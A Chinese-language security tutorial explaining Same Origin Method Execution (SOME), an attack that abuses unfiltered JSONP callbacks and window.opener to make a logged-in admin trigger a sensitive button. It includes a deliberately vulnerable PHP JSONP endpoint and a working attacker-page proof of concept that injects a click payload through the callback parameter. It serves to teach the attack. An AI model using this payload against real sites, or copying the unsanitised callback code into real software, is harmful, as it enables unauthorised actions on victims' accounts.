Same Origin Method Execution
0x00 什么是Same Origin Method Execution
先贴一篇paper,这个是Ben Hayak在Black Hat Eorope 2014演讲的题目,是关于如何利用JSONP之类的callback执行方法,特别是在对callback的参数名进行过滤之后的情况下。
我们都知道,JSONP可以利用callback的特性,来跨域传输数据,毫无疑问也可以同域间传递数据。我们试着考虑一下这种场景,某个网站在编辑文章的地方提供了一个颜色选择器,用来调整文字颜色,这个颜色选择器是一个弹出的窗口,通过一个callback参数与原页面进行通信,具体一下可能是下面这样:
http://a.com/color.php?callback=get_color
color.php的部分内容可能如下:
<script>
function get_color(data) {
// todo here
}
</script>
也就是当访问color.php?callback=get_color
之后,会在当前页面执行get_color函数,进行数据处理之类的操作。如果开发者不注意的话,就会出现安全隐患。我们可以利用这个callback的缺陷,来执行用户不期望的敏感操作。注意一点,这并不是CSRF,一旦CSRF有了token就无法利用了(在不考虑同源XSS的情况下),但是SOME却是可以绕过这种限制进行敏感操作。
但是这种漏洞也是有着利用限制的,这个JSONP如果返回了类似Content-T ype: application/json
的值,是无法利用的,因为这段代码并不会执行。通常情况下只有返回Content-Type: text/html
才有利用的机会。有个较为简单的判断方法,当修改了URL中的callback值后,看看console中是否会有类似找不到方法xx
,未定义的方法xx
之类的提示,如果有的话,可以简单的认为,这个callback对应的函数会被执行。
0x01 利用前的理论基础
在JavaScrip中,我们可以通过window.open()
方法打开一个新的窗口,而且新窗口与原窗口是可以互相交互的。
page1.html
<script>
var win1 = window.open("page2.html", "_black");
</script>
page2.html
<script>
var bodyElem = window.opener.document.body;
</script>
从上面的代码可以看出,原页面可以通过变量获取到新页面,而新页面又可以通过window.opener
获取到原页面,这也为SOME
提供了利用基础,当然前提条件是page1
和page2
需是同源。
我们有了一个可以执行任意方法的接口,又知道了可以通过opener
获取到原页面,那么我们就可以利用这种特性让用户进行他们不愿意的操作。
0x02 利用流程
- 准备一个
some.html
页面 - 让
some.html
打开some2.html
页面 some.html
跳转到目标页面(含有敏感操作dom的页面,例如含有点一下就删除订单、点一下就增加用户之类的敏感操作的页面)- 在
some.html
跳转完成后,让some2.html
跳转到发现的JSONP接口,并将callback修改为我们的payload - 利用完成。
光这样看起来会感觉很难过,我把相关文件的代码贴出来。
info.php
,JSONP接口,获取用户信息;
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
$data = [
"username" => "lightless",
"avatar" => "http://cdn.lightless.me/images/01.jpg",
];
$data = json_encode($data);
echo "<script>";
echo $callback . "(" . $data . ")";
echo "</script>";
secret.html
,含有敏感DOM的页面,其中有个敏感按钮,点击会触发一些操作
<html>
<body>
<form>
<button onclick="cc()">Secret Button</button>
<label>Access Token: </label>
<input readonly value="abcdefg">
<br>
<label>Secret Token: </label>
<input readonly value="123456">
</form>
<script>
function cc() {
alert("cc click!");
}
</script>
</body>
</html>
上面两部分假设分别是http://b.com/user.php?callback=view
以及http://b.com/secret.html
,其中secret.html
中的内容以及按钮只有管理员才可以查看与操作,其他人是无权查看的。我们的目标就是『让管理员点击Secret Button按钮』。
接下来我们构造POC。首先要有个same.html
,他负责打开新的页面,并且将当前页面重定向到含有敏感DOM的页面即secret.html
。
same.html
<script>
function start_some() {
window.open("some2.html");
location.replace("http://b.com/secret.php");
}
setTimeout(start_some(), 1000);
</script>
最后的same2.html
页面,需要等待same.html
重定向完成后,重定向到JSONP接口,利用这个接口对window.opener
(现在已经变成了b.com/secret.html)执行操作。
same2.html
<script>
function attack() {
location.replace("http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>
这样当用户访问http://attacker.com/same.html
的时候,实际上已经执行了b.com
上的敏感操作。我这里录制了一段视频来演示这个利用过程:https://c1.lightless.me/SOME-VIDEO.mp4,需要的同学可以自取。
PS: SOME的作者在另外一场安全会议上的演讲,感觉比BHE2014讲的好很多:https://www.youtube.com/watch?v=OvarkOxxdic
test